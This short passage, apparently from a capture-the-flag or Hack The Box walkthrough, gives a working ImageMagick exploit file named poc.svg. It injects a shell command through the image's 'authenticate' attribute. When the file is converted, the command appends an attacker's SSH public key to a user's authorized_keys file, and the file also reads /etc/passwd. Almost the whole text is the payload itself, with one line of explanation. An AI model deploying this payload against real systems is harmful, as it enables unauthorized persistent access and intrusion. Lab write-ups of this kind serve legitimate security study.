Create a file called poc.svg, and then when imagemagick converts the file it should run the command. In this instance, it creates an ssh .pub key in the target users ssh directory.
Copy <image authenticate='ff" `echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdHBQl4i+/MGveUW+oQazS2r9mNE8HcnfQPayA3GuOzVKWnlbK1IvKyr5tmJmvNRoI+NIqj1AiW3xaNoXeeS7huTArOopB/5/OLYZrZfCjE9INKvEIWI6TA/3App9z5NxChyLX/KhqEO9q1frZl9fD5W2zkCp1ZBpjGvDFmVRy70gdvTjj/A7BMIlhxmqTdHyXkB37jgdHgOTDaCmI6m/nBET0fyF30BR8NleV6zYvIHqAQMBtCaXRdNJvDGab+YLUgPpMzQbr6RO6QdepzHK9+uIQv43rVvR1s3hdjHaZXMVc0wkHMMm2DoHukxV8O2DvP3kMjvmgDsvSTkNx25xGDhTKXuBsOuGElTMYETazL5kyP0Jq4gs42TEbBvXr0zrcBD/dY5yog5p0/oRJcQodNPFmS+c6Y2otMr35KxM3pZhg9qhV1OCT9NrqupsGt55p7jqdohl5xI7CMIxBDkwm1YUb6hLBoQloVDIurAjeDY89rpYu1O4djFjouq4zV50= htb-leonteale@pwnbox-base" >> /home/thomas/.ssh/authorized_keys`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>